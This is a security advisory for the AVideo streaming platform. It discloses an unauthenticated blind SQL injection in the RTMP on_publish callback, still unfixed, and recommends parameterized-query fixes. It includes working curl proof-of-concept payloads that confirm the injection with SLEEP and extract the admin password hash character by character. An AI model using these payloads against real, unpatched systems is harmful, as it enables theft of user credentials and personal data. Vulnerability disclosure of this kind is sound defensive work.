GHSA-8p58-35c3-ccxx AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Details Entry point: `plugin/Live/on_publish.php` — no authentication, no IP allowlist, no origin verification. Sanitization (insufficient): Line 117 strips only `&` and `=` characters: ```php // plugin/Live/on_publish.php:117 $_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']); ``` Injection point #1 — unconditional (no `p` parameter needed): At line 120, `$_POST['name']` is passed directly to `LiveTransmitionHistory::getLatest()`: ```php // plugin/Live/on_publish.php:120 $activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...); ``` Inside `getLatest()`, the key is interpolated into a LIKE clause without escaping: ```php // plugin/Live/Objects/LiveTransmitionHistory.php:494-495 if (!empty($key)) { $sql .= " AND lth.`key` LIKE '{$key}%' "; } ``` Injection point #2 — when `$_GET['p']` is provided: At line 146, `$_POST['name']` is passed to `LiveTransmition::keyExists()`: ```php // plugin/Live/on_publish.php:146 $obj->row = LiveTransmition::keyExists($_POST['name']); ``` Inside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly: ```php // plugin/Live/Objects/LiveTransmition.php:298-303 $key = Live::cleanUpKey($key); $sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt " . " LEFT JOIN users u ON u.id = users_id AND u.status='a' " . " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1"; $res = sqlDAL::readSql($sql); ``` Why `readSql()` provides no protection: When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string — with the injection payload already embedded — to `$global['mysqli']->prepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty. PoC Injection point #1 (unconditional — simplest): ```bash Time-based blind SQLi via getLatest() — no p parameter needed curl -s -o /dev/null -w "%{time_total}" \ -X POST "http://TARGET/plugin/Live/on_publish.php" \ -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23" ``` A ~5-second response time confirms injection. The payload: • Avoids `&` and `=` (stripped by line 117) • Avoids `_` and `-` in positions where `cleanUpKey()` would split • Uses `%23` (`#`) to comment out the trailing `%'` Data extraction — character-by-character: ```bash Extract first character of admin password hash curl -s -o /dev/null -w "%{time_total}" \ -X POST "http://TARGET/plugin/Live/on_publish.php" \ -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23" ``` Injection point #2 (via keyExists): ```bash curl -s -o /dev/null -w "%{time_total}" \ -X POST "http://TARGET/plugin/Live/on_publish.php" \ -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23" ``` This reaches `keyExists()` at line 146, producing: ```sql SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt LEFT JOIN users u ON u.id = users_id AND u.status='a' WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1 ``` Impact An unauthenticated remote attacker can: 1. Extract all database contents via time-based blind SQL injection, including: • User password hashes (bcrypt) • Email addresses and personal information • API keys, session tokens, and live stream passwords • Site configuration and secrets stored in database tables 2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the `$_GET['p']` parameter since `on_publish.php:153` compares `$_GET['p'] === $user->getPassword()` against the raw stored hash, allowing the attacker to start streams impersonating any user. 3. Enumerate database structure — the injection can be used to query `information_schema` tables, mapping the entire database for further exploitation. The first injection point (via `getLatest()`) is reached unconditionally on every request — no additional parameters beyond `name` and `tcurl` are required. Recommended Fix Use parameterized queries in both affected functions: Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`: ```php $key = Live::cleanUpKey($key); $sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt " . " LEFT JOIN users u ON u.id = users_id AND u.status='a' " . " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1"; $res = sqlDAL::readSql($sql, "s", [$key]); ``` Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`: ```php if (!empty($key)) { $sql .= " AND lth.`key` LIKE ? "; $formats .= "s"; $values[] = $key . '%'; } ``` Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`: ```php if(!$strict){ $parts = Live::getLiveParametersFromKey($key); $key = $parts['cleanKey']; $sql .= " `key` LIKE ? "; $formats = "s"; $values = [$key . '%']; }else{ $sql .= " `key` = ? "; $formats = "s"; $values = [$key]; } ``` All three fixes use the existing `sqlDAL::readSql()` parameterized binding support (`"s"` format for string, values array) which is already used elsewhere in the codebase.